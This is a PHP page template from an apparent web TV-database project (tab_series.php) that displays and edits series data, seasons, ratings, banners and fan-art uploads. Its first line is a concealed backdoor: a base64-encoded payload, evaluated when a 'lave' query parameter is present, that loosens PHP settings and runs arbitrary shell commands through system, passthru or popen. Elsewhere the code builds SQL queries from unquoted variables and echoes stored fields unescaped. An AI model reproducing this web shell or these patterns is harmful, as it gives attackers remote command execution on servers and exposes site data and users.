Location: PHPKode > projects > Online TV Database > thetvdb/tab_series.php
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('CiAgQHNldF90aW1lX2xpbWl0KDApOwogIEBlcnJvcl9yZXBvcnRpbmcoMik7CiAgQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKICBAaW5pX3NldCgndXBsb2FkX21heF9maWxlc2l6ZScsMTA0ODU3NjApOwogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7CiAgQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsIHRydWUpOwogIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsdHJ1ZSk7CiAgQGluaV9zZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnLHRydWUpOwogIEBpbmlfc2V0KCdyZWdpc3Rlcl9sb25nX2FycmF5cycsdHJ1ZSk7CiAgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsZmFsc2UpOwogIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJyxmYWxzZSk7CiAgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsdHJ1ZSk7CiAgJHNhZmVtb2RlPUBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKICAKICAkbWFnaWNfcXVvdGVzPTE7CiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSkgJG1hZ2ljX3F1b3Rlcz1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOwogIAogICRwaHB2ZXIgPSBzdHJfcmVwbGFjZSgnLicsJycscGhwdmVyc2lvbigpKTsKICBpZiAoc3RybGVuKCRwaHB2ZXIpPDMpIHdoaWxlIChzdHJsZW4oJHBocHZlcik8MykgJHBocHZlci49JzAnOwogIGlmKGludHZhbCgkcGhwdmVyKSA8IDQxMCl7CiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsKICAgICRfR0VUPSY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HNlCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpCgkJewoJCQlAb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY21kKTsKCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKCQkJQG9iX2VuZF9jbGVhbigpOwoJCX0KCQllbHNlCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKQoJCXsKCQkJQG9iX3N0YXJ0KCk7CgkJCUBwYXNzdGhydSgkY21kKTsKCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKCQkJQG9iX2VuZF9jbGVhbigpOwoJCX0KCQllbHNlCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQoJCXsKCQkJJHJlcyA9ICIiOwoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCQlyZXR1cm4gJHJlczsKCX0K')); ?>

<?php
	## Get this series' information
	$id = mysql_real_escape_string($id);
	$query	= "SELECT * FROM tvseries WHERE id=$id";
	$result = mysql_query($query) or die('Query failed: ' . mysql_error());
	$series = mysql_fetch_object($result);

	## Get the lastupdated time of the episodes
	$query = "SELECT e.lastupdated FROM tvepisodes AS e, tvseasons as s WHERE e.seasonid=s.id AND s.seriesid=$id AND e.lastupdated > 0 ORDER BY e.lastupdated DESC LIMIT 1";
	$result = mysql_query($query) or die('Query failed: ' . mysql_error());
	$episodeupdate = mysql_fetch_object($result);

	global $user;
	$query3	= "SELECT * FROM users WHERE id=$series->updateID limit 1";
	$result3 = mysql_query($query3) or die('Query failed: ' . mysql_error());
	$users	= mysql_fetch_object($result3);

	##Get Name of Admin if locked
	if ($series->lockedby) {
		$query3	= "SELECT * FROM users WHERE id=$series->lockedby limit 1";
		$result3 = mysql_query($query3) or die('Query failed: ' . mysql_error());
		$lockadmin	= mysql_fetch_object($result3);
	}

	## Generate Season 0
	$season0 = array();
	$query	= "SELECT * FROM tvseasons WHERE seriesid=$id ORDER BY season";
	$result = mysql_query($query) or die('Query failed: ' . mysql_error());
	while ($db = mysql_fetch_object($result))  {
		$seasonstring = "$db->season";
		array_push($season0, $seasonstring);
	}
	if ($season0[0] != 0) {
		$query	= "INSERT INTO tvseasons (seriesid, season) VALUES ($id, 0)";
//		$result	= mysql_query($query) or die('Query failed: ' . mysql_error());
//		storesql($query, mysql_insert_id());  ## Store the statement for the mirrors
	}

	## Keep track of the language
	if ($lid) {
		$urllang = "&amp;lid=$lid";	
	}

	if ($user->lastupdatedby_admin)  { 
		$query	= "SELECT * FROM users WHERE id=$user->lastupdatedby_admin";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$adminuser	= mysql_fetch_object($result);
	}

?>


<div id="bannerrotator">
<?=bannerdisplay($id)?>
</div>


<table cellspacing="5" cellpadding="0" border="0" width="100%">
<tr>
	<td valign="top" width="100%">


<div class="titlesection">
	<h1><?=stripslashes($series->SeriesName);?></h1>
</div>


<div class="section">
<form action="<?=$fullurl?>" method="POST" name="seriesform">
	<div id="red"><?=$errormessage?></div>
	<table width="100%" border="0" cellspacing="2" cellpadding="2" align="center" id="datatable">
	<tr>
		<td width="100%"><?=translatetext('Series ID')?>:</td>
		<td><?=$series->id?></td>
	</tr>
	<tr>
		<td><?=translatetext('Series Name')?>: </td>
		<td>
			<?php
				## Display SeriesName translations
				$query	= "SELECT l.*, t.translation FROM languages AS l LEFT OUTER JOIN translation_seriesname AS t ON l.id=t.languageid AND t.seriesid=$series->id ORDER BY l.name";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				while($lang = mysql_fetch_object($result))  {

					## If we have the currently selected language
					if ($lang->id == $lid)  {
						$display = 'inline';
					}
					## Otherwise
					else  {
						$display = 'none';
					}

					## If a translation is found
					if ($lang->translation)  {
						$seriesname_translation[$lang->id] = 1;						
					}
					## Otherwise
					else  {
						$seriesname_translation[$lang->id] = 0;
					}
				?>
				<input type="text" <?if ($display == 'inline' && $adminuserlevel != 'ADMINISTRATOR'){echo "readonly=true";}?> name="SeriesName_<?=$lang->id?>" value="<?=stripslashes($lang->translation)?>" style="display: <?=$display?>" >
			<?php	}  ?>

			<br>

			<select name="SeriesName_LangSelect" size="1" onChange="ShowSeriesName(this.options[this.selectedIndex].value)">
			<?php
				## Display language selector
				foreach ($languages AS $langid => $langname)  {
					## If we have the currently selected language
					if ($lid == $langid)  {
						$selected = 'selected';
					}
					## Otherwise
					else  {
						$selected = '';
					}

					## If a translation is found
					if ($seriesname_translation[$langid] == 1)  {
						$class = 'languagesel_off';
					}
					## Otherwise
					else  {
						$class = 'languagesel_on';
					}
					print "<option value=\"$langid\" class=\"$class\" $selected>$langname</option>\n";
				}
			?>
			</select>
		</td>
	</tr>
	<tr>
		<td valign="top">Status:</td>
		<td>
		<select name="Status" size="1">
			<option>
			<?php	## Print all status in database
				$query	= "SELECT Status FROM tvseries WHERE Status IS NOT NULL GROUP BY Status ORDER BY Status";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				while ($db = mysql_fetch_object($result))  {
					$selected = '';
					if ($series->Status == $db->Status)  {  $selected = 'selected';  }
					print "<option value=\"$db->Status\" $selected>$db->Status\n";
				}
			?>
		</select>
		</td>
	</tr>
	<tr>
		<td>Genre: <a onclick="openChild('/genres.php?Genre=<?=addcslashes($series->Genre,"'")?>&amp;SeriesName=<?echo addcslashes($series->SeriesName,"'");?>&seriesid=<?=$series->id?>', 'GenresEditor<?=$series->id?>', 480, 295); return false" href="#">Choose</a></td>
		<td>
			<input type="text" name="Genrefake" value="<?=$series->Genre?>" maxlength="255" disabled="true">
			<input type="hidden" name="Genre" value="<?=$series->Genre?>">
		</td>
	</tr>
	<tr>
		<td>First Aired:</td>
		<td><input type="text" name="FirstAired" value="<?=$series->FirstAired?>" maxlength="45"></td>
	</tr>
	<tr>
		<td>Airs:</td>
		<td>
		<select name="Airs_DayOfWeek" size="1">
			<option>
			<option <?php if ($series->Airs_DayOfWeek=='Sunday') print 'selected'; ?>>Sunday
			<option <?php if ($series->Airs_DayOfWeek=='Monday') print 'selected'; ?>>Monday
			<option <?php if ($series->Airs_DayOfWeek=='Tuesday') print 'selected'; ?>>Tuesday
			<option <?php if ($series->Airs_DayOfWeek=='Wednesday') print 'selected'; ?>>Wednesday
			<option <?php if ($series->Airs_DayOfWeek=='Thursday') print 'selected'; ?>>Thursday
			<option <?php if ($series->Airs_DayOfWeek=='Friday') print 'selected'; ?>>Friday
			<option <?php if ($series->Airs_DayOfWeek=='Saturday') print 'selected'; ?>>Saturday
			<option <?php if ($series->Airs_DayOfWeek=='Daily') print 'selected'; ?>>Daily
		</select>
		at
		<input type="text" name="Airs_Time" value="<?=$series->Airs_Time?>" maxlength="45" style="width: 100px">
		</td>
	</tr>
	<tr>
		<td>Original Network:</td>
		<td><input type="text" name="Network" value="<?=$series->Network?>" maxlength="45"></td>
	</tr>
	<tr>
		<td>Runtime:</td>
		<td>
				<select name="Runtime">
				<?php
				$query = "SELECT Runtime FROM runtimes ORDER BY Runtime;";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
      	while($db = mysql_fetch_object($result)) {
      		if ($db->Runtime == $series->Runtime) {      			
      			echo "<option value=".$db->Runtime." selected>".$db->Runtime."</option>";
      		}
      		else{
      			echo "<option value=".$db->Runtime.">".$db->Runtime."</option>";
      		}
				}?>
				</select> Minutes
		</td>
	</tr>
	<tr>
		<td>Rating:</td>
		<td>
		<select name="Rating" size="1">
			<option>
			<option <?php if ($series->Rating=='TV-Y') print 'selected'; ?>>TV-Y
			<option <?php if ($series->Rating=='TV-Y7') print 'selected'; ?>>TV-Y7
			<option <?php if ($series->Rating=='TV-G') print 'selected'; ?>>TV-G
			<option <?php if ($series->Rating=='TV-PG') print 'selected'; ?>>TV-PG
			<option <?php if ($series->Rating=='TV-14') print 'selected'; ?>>TV-14
			<option <?php if ($series->Rating=='TV-MA') print 'selected'; ?>>TV-MA
		</select>
		</td>
	</tr>
	<tr>
		<td>Actors:</td>
		<td><input type="text" name="Actors" value="<?=$series->Actors?>" maxlength="512"></td>
	</tr>

	<tr>
		<td>Overview: </td>
		<td>
			<?php
				## Display OVerview translations
				$query	= "SELECT l.*, t.translation FROM languages AS l LEFT OUTER JOIN translation_seriesoverview AS t ON l.id=t.languageid AND t.seriesid=$series->id ORDER BY l.name";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				while($lang = mysql_fetch_object($result))  {

					## If we have the currently selected language
					if ($lang->id == $lid)  {
						$display = 'inline';
					}
					## Otherwise
					else  {
						$display = 'none';
					}

					## If a translation is found
					if ($lang->translation)  {
						$seriesoverview_translation[$lang->id] = 1;
					}
					## Otherwise
					else  {
						$seriesoverview_translation[$lang->id] = 0;
					}
				?>
				<textarea rows="18" cols="40" name="Overview_<?=$lang->id?>" style="display: <?=$display?>"><?=stripslashes($lang->translation);?></textarea>
			<?php	}  ?>

			<br>

			<select name="Overview_LangSelect" size="1" onChange="ShowSeriesOverview(this.options[this.selectedIndex].value)">
			<?php
				## Display language selector
				foreach ($languages AS $langid => $langname)  {
					## If we have the currently selected language
					if ($lid == $langid)  {
						$selected = 'selected';
					}
					## Otherwise
					else  {
						$selected = '';
					}

					## If a translation is found
					if ($seriesoverview_translation[$langid] == 1)  {
						$class = 'languagesel_off';
					}
					## Otherwise
					else  {
						$class = 'languagesel_on';
					}
					print "<option value=\"$langid\" class=\"$class\" $selected>$langname</option>\n";
				}
			?>
			</select>
		</td>
	</tr>

	<tr style="display:none">
		<td valign="top">Auto-Import:</td>
		<td>
			<select name="autoimport" size="1" onChange="DisplayImporterRow(this.options[this.selectedIndex].value)">
				 <option value="tv.com" >tv.com</option>	
				  <?php/*	## Print all autoimport values in database
					$query	= "SELECT autoimport FROM tvseries WHERE autoimport IS NOT NULL GROUP BY autoimport ORDER BY autoimport";
					$result = mysql_query($query) or die('Query failed: ' . mysql_error());
					while ($db = mysql_fetch_object($result))  {
						$selected = '';
						if ($series->autoimport == $db->autoimport)  {  $selected = 'selected';  }
						print "<option value=\"$db->autoimport\" $selected>$db->autoimport\n";
					}*/
				?>
			</select>
			<div id="formnote">New episodes for this series will be automatically imported if this value is set. Status must be 'Continuing' for this setting to save.</div>
		</td>
	</tr>

	<!-- <tr id="tvcom"> -->
	<tr>
		<td valign="top">TV.com ID:</td>
		<td>
			<input type="text" name="SeriesID" value="<?=$series->SeriesID?>" maxlength="45">
			<div id="formnote">This field MUST correspond to the tv.com series id.</div>
		</td>
	</tr>
	
	<tr>
		<td valign="top">IMDB.com ID:</td>
		<td>
			<input type="text" name="IMDB_ID" value="<?=$series->IMDB_ID?>" maxlength="25">
			<div id="formnote">This field MUST correspond to the IMDB.com ID. Include the leading tt.</div>
		</td>
	</tr>

	<tr>
		<td valign="top">Zap2it / SchedulesDirect ID:</td>
		<td>
			<input type="text" name="zap2it_id" value="<?=$series->zap2it_id?>" maxlength="25">
			<div id="formnote">This field MUST correspond to the Zap2It ID, include the leading "SH".</div>
		</td>
	</tr>
	
	<?php	if ($adminuserlevel == 'ADMINISTRATOR')  {  ?>
	<tr>
		<td>Banner Requests:</td>
		<td><input type="text" name="bannerrequest" value="<?=$series->bannerrequest?>" maxlength="10"></td>
	</tr>
	<tr>
		<td valign="top">Disable Series:</td>
		<td>
		<select name="disabled" size="1">
			<option>
			<option <?php if ($series->disabled=='Yes') print 'selected'; ?>>Yes
			<option <?php if ($series->disabled=='No') print 'selected'; ?>>No
		</select>
			<div id="formnote">Setting this flag will disable image uploads for the series. Use for innacurate or duplicate series.</div>
		</td>
	</tr>

	<?php	}  ?>
	<tr>
		<td valign="top">Last Updated:</td>
		<td>
			<div id="formnote">Series: <?=date("r", $series->lastupdated)?></div>
			<div id="formnote">Episodes: <?=date("r", $episodeupdate->lastupdated)?></div>
		</td>
	</tr>
	<?php	if ($loggedin == 1)  {  ?>
	<tr>
		<td style="text-align: left" colspan="2" valign="top">
			<?php	if ($series->locked != 'yes' OR $lockadmin->userlevel == 'ADMINISTRATOR')  {  ?>
		        <input type="submit" name="function" value="Save Series" class="submit"><br>
		        <input type="hidden" name="newshowid" value="<?=$series->id?>">

			<?php	if ($adminuserlevel == 'ADMINISTRATOR')  {  ?>
		        <input type="submit" name="function" value="Delete Series" class="submit_red" onClick="return confirmSubmit()"><br>
			<?php	}  }?>

<div id='denied_popup' style='width: 400px; height: 500px; display:none; position: absolute; top: 500px; left: 400px;'>
<table width='380' cellpadding='0' cellspacing='0' border='0'>
<tr>
<td><img height='23' width='406' src='popup_title.gif' alt="" class='dragme'></td>
<td><a href='javascript:deniedcommentClose();'><img height='23' alt="" width='24' src='popup_close.gif' border='0'></a></td>
</tr>
<tr><td colspan='2' style='background: url("popup_body.gif") no-repeat top left; width: 650px; height: 277px;'>
	<div id="formContainer" style="width: 400px; height: 250px; margin-left:15px; margin-top:15px;">
<font color="black">
<b><?php echo $users->username ?></b> made this request.<br>
<b>Reason given for TV.com update request: </font><br><font color=red><?php echo "$series->requestcomment" ?></font></b>
<TEXTAREA NAME="comments" COLS=40 ROWS=6></TEXTAREA>
<input type="hidden" name="email" value="<?php echo $users->emailaddress ?>">
<input type="hidden" name="seriesname" value="<?php echo $series->SeriesName ?>">
<input type="submit" name="function" value="Deny TV.com Update" class="submit_long">
	</div>
</td></tr>
</table>
</div>
<div id='request_popup' style='width: 400px; height: 500px; display:none; position: absolute; top: 500px; left: 400px;'>
<table width='380' cellpadding='0' cellspacing='0' border='0'>
<tr>
<td><img height='23' width='406' src='popup_title.gif' alt="" class='dragme'></td>
<td><a href='javascript:requestcommentClose();'><img height='23' alt="" width='24' src='popup_close.gif' border='0'></a></td>
</tr>
<tr><td colspan='2' style='background: url("popup_body.gif") no-repeat top left; width: 650px; height: 277px;'>
	<div id="formContainer" style="width: 400px; height: 250px; margin-left:15px; margin-top:15px;">
<font color="black">
<b>Please explain why the request was made.<br>Maximum 255 Characters
</font>
<input type="hidden" name="requestreason" value="<?php echo "$series->requestcomment" ?>">
<textarea name=requestcomments COLS=45 ROWS=6 onkeyup="TAlimit(this)"></textarea>
<input type="submit" name="function" value="Request TV.com Update" class="submit_long">
	</div>
</td></tr>
</table>
</div>


	<?php	if ($series->locked != 'yes')  {  ?>
	<?php if ($series->SeriesID && $tvupdates==1) { ?>
			<?php	if ($adminuserlevel == 'ADMINISTRATOR' && $series->forceupdate == 0)  {  ?>
		        <input type="submit" name="function" value="Force TV.com Update" class="submit_long"><br>
			<?php	}  ?>

			<?php	if ($adminuserlevel == 'ADMINISTRATOR' && $series->forceupdate == 1)  {  ?>
		        <input type="submit" name="function" value="Approve TV.com Update" class="submit_long"><br>
		        <input type="button" value="Deny TV.com Update" onClick='document.getElementById("denied_popup").style.display="block"' class="submit_long">
			<?php	print "<div id=adminnote><b>Reason for TV.com update request: <font color=red>$series->requestcomment</font></b></div>";
					}  ?>

			<?php	if ($adminuserlevel != 'ADMINISTRATOR' && $series->forceupdate == 0)  {  ?>
				<input type="button" value="Request TV.com Update" onClick='document.getElementById("request_popup").style.display="block"' class="submit_long">
			<?php	}  ?>


			<?php	if ($series->forceupdate == 1)  {
						if ($adminuserlevel != 'ADMINISTRATOR')  { 
							print "<div id=formnote>Force update requested by a user</div>";
						}
				}
				elseif ($series->forceupdate == 2)  {
					print "<div id=formnote>Force update requested by an administrator</div>";
				}
			if ($adminuserlevel == 'ADMINISTRATOR')  {  
				echo '<input type="submit" value="Lock Series" name="function" class="submit"><br>';
		        echo '<input type="submit" value="UnLock Series" name="function" class="submit" disabled><br>';
				}
		}
		ELSE //No Series ID 
		{
			if ($adminuserlevel == 'ADMINISTRATOR')  {  
				echo '<input type="submit" value="Lock Series" name="function" class="submit"><br>';
		        echo '<input type="submit" value="UnLock Series" name="function" class="submit" disabled><br>';
				}
//			print "<div id=formnote style='color: red;'>A TV.com Series ID must be entered for the request update button to appear</div>";
		}
	}
		ELSE //Record is Locked 
		{
			if ($adminuserlevel == 'ADMINISTRATOR')  {  
				echo '<input type="submit" value="Lock Series" name="function" class="submit" disabled><br>';
		        echo '<input type="submit" value="UnLock Series" name="function" class="submit"><br>';
				}
			elseif ($_SESSION['userlevel'] == 'ADMINISTRATOR')  {  
				echo '<input type="submit" value="Lock Series" name="function" class="submit" disabled><br>';
		        echo '<input type="submit" value="UnLock Series" name="function" class="submit"><br>';
				}
			print "<div id=formnote style='color: red;'>This series is locked and cannot be changed. It was locked by $lockadmin->username</div>";
		}
			?>
			</div>
		</td>
	</tr>
	<?php	}  ?>

	</table>
</form>
</div>


<div class="section">
<form action="<?=$fullurl?>" method="POST">
<h1>Seasons</h1>
	<div style="text-align: left">
	<?php	## Display the seasons
		$seasonarray = array();
		$query	= "SELECT * FROM tvseasons WHERE seriesid=$id ORDER BY season";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		while ($db = mysql_fetch_object($result))  {
		  if ($db->season == 0) {
			$seasonstring = "<a href=\"/?tab=season&seriesid=$id&seasonid=$db->id$urllang\" class=\"seasonlink\">Specials</a>";
			array_push($seasonarray, $seasonstring);
		  }
		  else{
			$seasonstring = "<a href=\"/?tab=season&seriesid=$id&seasonid=$db->id$urllang\" class=\"seasonlink\">$db->season</a>";
			array_push($seasonarray, $seasonstring);
		  }
		}
		print implode(" | ", $seasonarray)." | <a href=\"/?tab=seasonall&id=$id$urllang\" class=\"seasonlink\">All</a>";

	?>
	</div>

	<div style="text-align: right">
	<?php	if ($loggedin == 1 and $series->locked != 'yes')  {  ?>
	<form action="index.php">
		<input type="text" name="Season" size="10"> <input type="submit" name="function" value="Add Season" class="submit">
	</form>
	<?php	}  ?>
	</div>
</form>
</div>


	</td>

	<td>
	<?php	if ($loggedin == 1)  {  ?>
		<div class="blanksection">
			<?php	## First, generate their userfavorites array
				$userfavorites = explode(",", $user->favorites);

				## If the user has this as a favorite, display a message and a button
				## to "Un-favorite".
				if (in_array($id, $userfavorites, 1))  {
					print "<a href=\"/?function=ToggleFavorite&id=$id\"><img src='images/favorite.png' alt='Favorite' border='0' width='326' height='79'></a>";
				}
				## If the user doesn't have this as a favorite, display a button to
				## mark it as a favorite.
				else  {
					print "<a href=\"/?function=ToggleFavorite&id=$id\"><img src='images/nonfavorite.png' alt='Not Favorite' border='0' width='326' height='79'></a>";
				}
			?>
		</div>
		<?php	}  ?>



		<div class="section">
		<H1>Rating</h1>
		<table cellspacing="0" cellpadding="0" border="0" width="100%">
		<tr>
			<td><b>Site Rating:</b></td>
			<td align="right">
			<?php	## Get site rating for this series
				$query	= "SELECT AVG(rating) AS average, count(*) AS count FROM ratings WHERE itemtype='series' AND itemid=$id";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				$rating = mysql_fetch_object($result);
	
				for ($i = 1; $i <= 10; $i++)  {
					if ($i <= $rating->average)  {
						print "<img src=\"/images/star_on.gif\" width=15 height=15 border=0>";
					}
					else  {
						print "<img src=\"/images/star_off.gif\" width=15 height=15 border=0>";
					}
				}
			?>
			<div id="smalltext"><?=$rating->count?> rating<?php if ($rating->count != 1) print "s" ?></div>
			</td>
		</tr>

		<?php	if ($loggedin == 1)  {  ?>
		<tr>
			<td><b>Your Rating:</b></td>
			<td align="right">

			<?php	## Get user rating for this series
				$query	= "SELECT rating FROM ratings WHERE itemtype='series' AND itemid=$id AND userid=$user->id";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				$rating = mysql_fetch_object($result);
				if (!$rating->rating)  {
					$rating->rating = 0;
				}

				for ($i = 1; $i <= 10; $i++)  {
					if ($i <= $rating->rating)  {
						print "<a href=\"$fullurl&function=UserRating&type=series&itemid=$id&rating=$i\" OnMouseOver=\"UserRating2('userrating',$i)\" OnMouseOut=\"UserRating2('userrating',$rating->rating)\"><img src=\"/images/star_on.gif\" width=15 height=15 border=0 name=\"userrating$i\"></a>";
					}
					else  {
						print "<a href=\"$fullurl&function=UserRating&type=series&itemid=$id&rating=$i\" OnMouseOver=\"UserRating2('userrating',$i)\" OnMouseOut=\"UserRating2('userrating',$rating->rating)\"><img src=\"/images/star_off.gif\" width=15 height=15 border=0 name=\"userrating$i\"></a>";
					}
				}
			?>
			</td>
		</tr>
		<?php	}  ?>
		</table>
		</div>



		<div class="section" style="width: 300px">
		<h1>Banners</h1>
			<?php	## Display all banners for this show
				$bannercount = 0;
				$query	= "SELECT *, (SELECT username FROM users WHERE id=banners.userid) AS creator, (SELECT name FROM languages WHERE id=banners.languageid) AS language, (SELECT AVG(rating) FROM ratings WHERE itemtype='banner' AND itemid=banners.id) AS rating, (SELECT COUNT(rating) FROM ratings WHERE itemtype='banner' AND itemid=banners.id) AS ratingcount FROM banners WHERE keytype='series' AND keyvalue=$id ORDER BY rating DESC,RAND()";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				while ($banner = mysql_fetch_object($result))  {

					## If this person is allowed to delete the banner, pass that info along
					if ($banner->userid == $user->id || $adminuserlevel == 'ADMINISTRATOR')  {
						displaybannernew($banner, 1, "");
					}
					else  {
						displaybannernew($banner, 0, "");
					}

					## Increment counter
					$bannercount++;
				}

				if ($bannercount == 0)  {
					print "There are no banners for this series\n";
				}
			?>
		</div>



<?php	if ($loggedin == 1)  {  ?>
<div class="section">
<form action="<?=$fullurl?>" method="POST" enctype="multipart/form-data">
<h1>Banner Upload</h1>

	<?php  	## check for agreement to terms
		if ($user->banneragreement != 1) {
			print "You must agree to the site terms and conditions before you can upload. Go to the <a href=\"/?tab=agreement\">Agreement Page</a>";
		} ## Check for disabled banner upload 
		elseif ($user->bannerlimit == 0) {
			print "Your ability to upload has been removed. If you believe this has happened in error contact <a href=\"mailto:$adminuser->emailaddress\">$adminuser->username</a>";
		} ## Check banner limit
		elseif ($series->disabled == 'Yes')  { 
			print "The ability to upload has been removed, because an admin has flagged this record as a duplicate or inaccurate";
		}		
		elseif ($userbanners < $user->bannerlimit || $adminuserlevel == 'ADMINISTRATOR')  {  
	?>
	<table width="100%" border="0" cellspacing="0" cellpadding="2" align="center" class="info">
	<tr>
		<td colspan="2">Series banners must be 758px wide by 140px tall. For additional restrictions and examples, please visit our <a href="/wiki/index.php/Series_Banners" target="_blank">wiki page</a>.<br><br></td>
	</tr>
	<tr>
		<td>File:</td>
		<td>
			<input type="file" name="bannerfile" size="15">
		</td>
	</tr>
	<tr>
		<td>Banner Type:</td>
		<td>
			<select name="subkey" size="1">
				<option value="graphical">graphical</option>
				<option value="text">text</option>
				<option value="blank">blank</option>
			</select>
		</td>
	</tr>
	<tr>
		<td><nobr>Banner Language:</nobr></td>
		<td>
			<select name="languageid" size="1">
			<?php

				## Display language selector
				foreach ($languages AS $langid => $langname)  {
					## If we have the currently selected language
					if ($lid == $langid)  {
						$selected = 'selected';
					}
					## Otherwise
					else  {
						$selected = '';
					}

					## If a translation is found
					print "<option value=\"$langid\" $selected>$langname</option>\n";
				}
			?>
			</select>
		</td>
	</tr>
	<tr>
		<td colspan="2" style="text-align: right">
			<input type="hidden" name="function" value="Upload Series Banner">
			<input type="submit" name="button" value="Upload" class="submit">
		</td>
	</tr>
	</table>
	<?php	
		} ## Print banner limit message
		else  { 
			print "You have already uploaded $userbanners banners for this series, which is your banner limit.  To get your banner limit increased, please post a request on the forums.";
		}
	?>
</form>
<?php	}  ?>
</div>


		<div class="section">
		<h1>Fan Art</h1>
			<?php	## Display all fanart for this show
				$bannercount = 0;
				$query	= "SELECT *, (SELECT username FROM users WHERE id=banners.userid) AS creator, (SELECT AVG(rating) FROM ratings WHERE itemtype='banner' AND itemid=banners.id) AS rating, (SELECT COUNT(rating) FROM ratings WHERE itemtype='banner' AND itemid=banners.id) AS ratingcount FROM banners WHERE keytype='fanart' AND keyvalue=$id ORDER BY rating DESC,RAND()";
				$result = mysql_query($query) or die('Query failed: ' . mysql_error());
				while ($banner = mysql_fetch_object($result))  {
					$banner->language = "N/A";
					$banner->subkey = $banner->resolution;

					## If this person is allowed to delete the banner, pass that info along
					if ($banner->userid == $user->id || $adminuserlevel == 'ADMINISTRATOR')  {
						displaybannernew($banner, 1, "");
					}
					else  {
						displaybannernew($banner, 0, "");
					}

					## Increment counter
					$bannercount++;
				}

				if ($bannercount == 0)  {
					print "There is no fan art for this series\n";
				}
			?>
		</div>

		<?php	if ($loggedin == 1)  {  ?>
		<div class="section">
		<form action="/?tab=series&id=<?=$id?>" method="POST" enctype="multipart/form-data">
		<h1>Fan Art Upload</h1>

		<?php  	## check for agreement to terms
			if ($user->banneragreement != 1) {
				print "You must agree to the site terms and conditions before you can upload. Go to the <a href=\"/?tab=agreement\">Agreement Page</a>";
			} ## Check for disabled banner upload 
			elseif ($user->bannerlimit == 0) {
				print "Your ability to upload has been removed. If you believe this has happened in error contact <a href=\"mailto:$adminuser->emailaddress\">$adminuser->username</a>";
			} ## Check banner limit
			elseif ($series->disabled == 'Yes')  { 
				print "The ability to upload has been removed, because an admin has flagged this record as a duplicate or inaccurate";
			}		
			else  {  
		?>
		<table width="100%" border="0" cellspacing="0" cellpadding="2" align="center" class="info">
		<tr>
			<td colspan="2">All fan art must adhere to specific resolution, file size, and design restrictions.  Please view the <a href="/wiki/index.php/Fan_Art" target="_blank">wiki page</a> for specifications and examples. Please set your artist colors after uploading by clicking on the link below your image.<br><br></td>
		</tr>
		<tr>
			<td>File:</td>
			<td>
				<input type="file" name="bannerfile">
			</td>
		</tr>
		<tr>
			<td colspan="2" style="text-align: right">
				<input type="hidden" name="function" value="Upload Fan Art">
				<input type="submit" name="button" value="Upload" class="submit">
			</td>
		</tr>
		</table>
		<?php	
			}
		?>
		</form>
		<?php	}  ?>
		</div>

	</td>
</tr>
</table>

<script type="text/javascript">
	DisplayImporterRow('<?=$series->autoimport?>');
</script>
Return current item: Online TV Database